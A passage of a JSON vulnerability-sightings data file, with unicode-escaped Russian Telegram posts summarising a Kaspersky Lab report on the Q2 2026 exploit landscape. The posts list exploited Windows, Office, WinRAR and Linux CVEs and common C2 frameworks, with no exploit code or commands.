\u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u0435\u0446\u0435\u0434\u0435\u043d\u0442 \u0432 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 Windows \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043a \u043d\u0438\u043c: \u043d\u0435 \u0434\u043e\u0436\u0438\u0434\u0430\u0442\u044c\u0441\u044f, \u043f\u043e\u043a\u0430 \u0438\u0445 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u044e\u0442, \u043d\u0435 \u0433\u043e\u0432\u043e\u0440\u044f \u0443\u0436\u0435 \u043e \u043f\u0430\u0442\u0447\u0430\u0445.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c Nightmare Eclipse (\u0438\u043b\u0438 Chaotic Eclipse) \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b \u0441\u043f\u0438\u0441\u043e\u043a \u043d\u043e\u0432\u044b\u0445 \u00ab\u0438\u043c\u0435\u043d\u043d\u044b\u0445\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Windows (BlueHammer, RedSun, YellowKey, GreenPlasma, RougePlanet, UnDefend).\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u0441\u043b\u0443\u0447\u0430\u0438 \u043f\u043e\u043a\u0430 \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u044b, \u0432 \u041b\u041a \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u043e\u043d\u0438 \u043f\u0435\u0440\u0435\u0440\u0430\u0441\u0442\u0443\u0442 \u0432 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 \u0442\u0440\u0435\u043d\u0434. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0440\u0430\u043d\u043d\u044f\u044f \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u0430\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u043e \u043f\u0435\u0440\u0435\u0434 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438, \u0443 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0435 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043d\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435.\n\n\u0422\u0430\u043a\u0436\u0435 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u00ab\u0437\u0430\u0441\u043b\u0443\u0436\u0435\u043d\u043d\u044b\u0435\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u041f\u041e \u0434\u043b\u044f Windows, \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u043a \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u041b\u041a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u044e\u0442 \u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u044d\u0442\u043e CVE-2018-0802 \u0438 CVE-2017-11882 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Equation Editor; CVE-2017-0199 \u0432 Microsoft Office \u0438 WordPad; CVE-2023-38831 \u0438 CVE-2025-6218 (ZDI-CAN-27198) \u0432 WinRAR; CVE-2025-8088 \u043f\u043e \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0443 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0430\u044f CVE-2025-6218.\n\n\u041f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439.\n\n\u0412 Linux \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0442\u043e\u0436\u0435 \u043d\u0430\u0447\u0430\u043b\u0430\u0441\u044c \u0447\u0435\u0440\u043d\u0430\u044f \u043f\u043e\u043b\u043e\u0441\u0430. \u0422\u0430\u043a, \u0431\u044b\u043b \u0440\u0430\u0441\u043a\u0440\u044b\u0442 \u043a\u043b\u0430\u0441\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Dirty Frag, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412\u0441\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430, \u0442\u0430\u043a \u0438\u043b\u0438 \u0438\u043d\u0430\u0447\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u043b\u0438\u0441\u044c \u043a \u043a\u044d\u0448\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 Linux.\n\n\u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435: CVE-2026-31431 (Copy Fail), CVE-2026-43284, CVE-2026-43500 (Dirty Frag), CVE-2026-46300 (Fragnesia), CVE-2026-31635 (DirtyDecrypt), CVE-2026-43494 (PinTheft) \u0438 CVE-2026-46331 (pedit COW).\n\n\u0412\u0441\u0435 \u043e\u043d\u0438 \u0441\u0440\u0430\u0437\u0443 \u0441\u0442\u0430\u043b\u0438 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c\u0438 \u0441\u0440\u0435\u0434\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u041b\u041a \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0442\u0430\u043a\u0436\u0435 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u0442\u0430\u0440\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439: CVE-2022-0847 (Dirty Pipe), CVE-2019-13272, CVE-2021-22555, CVE-2023-32233.\n\n\u0412 \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043f\u043e \u0442\u0438\u043f\u0430\u043c \u041f\u041e \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u0430\u0432\u043d\u043e \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u043b\u0438 \u0432 \u0432\u044b\u0431\u043e\u0440\u043a\u0443. \u0422\u0430\u043a, \u043c\u044b \u0441\u043d\u043e\u0432\u0430 \u0432\u0438\u0434\u0438\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u0442\u0430\u043a\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b, \u043a\u0430\u043a SharePoint.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0432 APT-\u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430\u043c\u0435\u0442\u0438\u043b\u0441\u044f \u0442\u0440\u0435\u043d\u0434 \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441\u0440\u0430\u0437\u0443 \u0441 \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u0438\u0445 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c, \u043a\u0430\u043a \u0438 \u0440\u0430\u043d\u044c\u0448\u0435, \u0432 \u041b\u041a \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0438 \u043c\u043d\u043e\u0433\u043e 0-day. \u0421\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u043e\u0441\u043e\u0431\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Langflow - \u044d\u0442\u043e \u043e\u0434\u0438\u043d \u0438\u0437 \u043f\u0435\u0440\u0432\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u0435\u0432, \u043a\u043e\u0433\u0434\u0430 APT \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 \u0418\u0418, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0435\u0439\u0447\u0430\u0441 \u0432\u043e \u043c\u043d\u043e\u0433\u0438\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u0445 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442 \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c.\n\n\u0421\u0430\u043c\u044b\u043c\u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u043c\u0438 C2-\u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430\u043c\u0438 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f Sliver, Havoc, Adaptix\u04212 \u0438 Metasploit.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u043a\u0430 - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2026-08-26T18:00:05.495400Z"}, {"uuid": "01be087a-a60b-462a-a1c1-ad9fa1e11e7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "Telegram/kVdsT0a2Q3uWeXZ0gvzuIQoYuMHlzrKmbh4-ltBMYOQDP-Q", "content": "", "creation_timestamp": "2026-08-28T13:00:05.780694Z"}, {"uuid": "2329853c-d6ef-49a7-8401-e4cff49d5593", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/true_secator/8547", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0438 \u043e\u0442\u0447\u0435\u0442 \u043f\u043e \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432 \u0437\u0430 \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2026 \u0433\u043e\u0434\u0430.\n\n\u0412 \u0446\u0435\u043b\u043e\u043c \u043a\u043e\u043d\u0441\u0442\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f. \u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 CVE \u0434\u043e\u0441\u0442\u0438\u0433\u043b\u043e \u0431\u0435\u0441\u043f\u0440\u0435\u0446\u0435\u0434\u0435\u043d\u0442\u043d\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043f\u043e \u0447\u0430\u0441\u0442\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445.\n\n\u042d\u0442\u043e \u0441\u0432\u044f\u0437\u0430\u043d\u043e \u0441 \u043f\u043e\u0432\u0441\u0435\u043c\u0435\u0441\u0442\u043d\u044b\u043c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c \u0418\u0418 \u043a\u0430\u043a \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0442\u0430\u043a \u0438 \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041a\u0430\u043a \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435, \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0446\u0435\u043b\u044b\u0435 \u043a\u043b\u0430\u0441\u0441\u044b \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0432 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 Linux.\n\n\u0412\u043e-\u0432\u0442\u043e\u0440\u044b\u0445, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441\u0442\u0430\u043b\u0438 \u0447\u0430\u0449\u0435 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b \u043a \u043d\u0435\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c. \u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0440\u0435\u0437\u043e\u043d\u0430\u043d\u0441, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u0434\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u0435\u0446\u0435\u0434\u0435\u043d\u0442 \u0432 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 Windows \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043a \u043d\u0438\u043c: \u043d\u0435 \u0434\u043e\u0436\u0438\u0434\u0430\u0442\u044c\u0441\u044f, \u043f\u043e\u043a\u0430 \u0438\u0445 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u044e\u0442, \u043d\u0435 \u0433\u043e\u0432\u043e\u0440\u044f \u0443\u0436\u0435 \u043e \u043f\u0430\u0442\u0447\u0430\u0445.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c Nightmare Eclipse (\u0438\u043b\u0438 Chaotic Eclipse) \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b \u0441\u043f\u0438\u0441\u043e\u043a \u043d\u043e\u0432\u044b\u0445 \u00ab\u0438\u043c\u0435\u043d\u043d\u044b\u0445\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Windows (BlueHammer, RedSun, YellowKey, GreenPlasma, RougePlanet, UnDefend).\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u0441\u043b\u0443\u0447\u0430\u0438 \u043f\u043e\u043a\u0430 \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u044b, \u0432 \u041b\u041a \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u043e\u043d\u0438 \u043f\u0435\u0440\u0435\u0440\u0430\u0441\u0442\u0443\u0442 \u0432 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 \u0442\u0440\u0435\u043d\u0434. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0440\u0430\u043d\u043d\u044f\u044f \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u0430\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u043e \u043f\u0435\u0440\u0435\u0434 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438, \u0443 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0435 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043d\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435.\n\n\u0422\u0430\u043a\u0436\u0435 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u00ab\u0437\u0430\u0441\u043b\u0443\u0436\u0435\u043d\u043d\u044b\u0435\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u041f\u041e \u0434\u043b\u044f Windows, \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u043a \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u041b\u041a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u044e\u0442 \u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u044d\u0442\u043e CVE-2018-0802 \u0438 CVE-2017-11882 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Equation Editor; CVE-2017-0199 \u0432 Microsoft Office \u0438 WordPad; CVE-2023-38831 \u0438 CVE-2025-6218 (ZDI-CAN-27198) \u0432 WinRAR; CVE-2025-8088 \u043f\u043e \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0443 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0430\u044f CVE-2025-6218.\n\n\u041f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439.\n\n\u0412 Linux \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0442\u043e\u0436\u0435 \u043d\u0430\u0447\u0430\u043b\u0430\u0441\u044c \u0447\u0435\u0440\u043d\u0430\u044f \u043f\u043e\u043b\u043e\u0441\u0430. \u0422\u0430\u043a, \u0431\u044b\u043b \u0440\u0430\u0441\u043a\u0440\u044b\u0442 \u043a\u043b\u0430\u0441\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Dirty Frag, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412\u0441\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430, \u0442\u0430\u043a \u0438\u043b\u0438 \u0438\u043d\u0430\u0447\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u043b\u0438\u0441\u044c \u043a \u043a\u044d\u0448\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 Linux.\n\n\u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435: 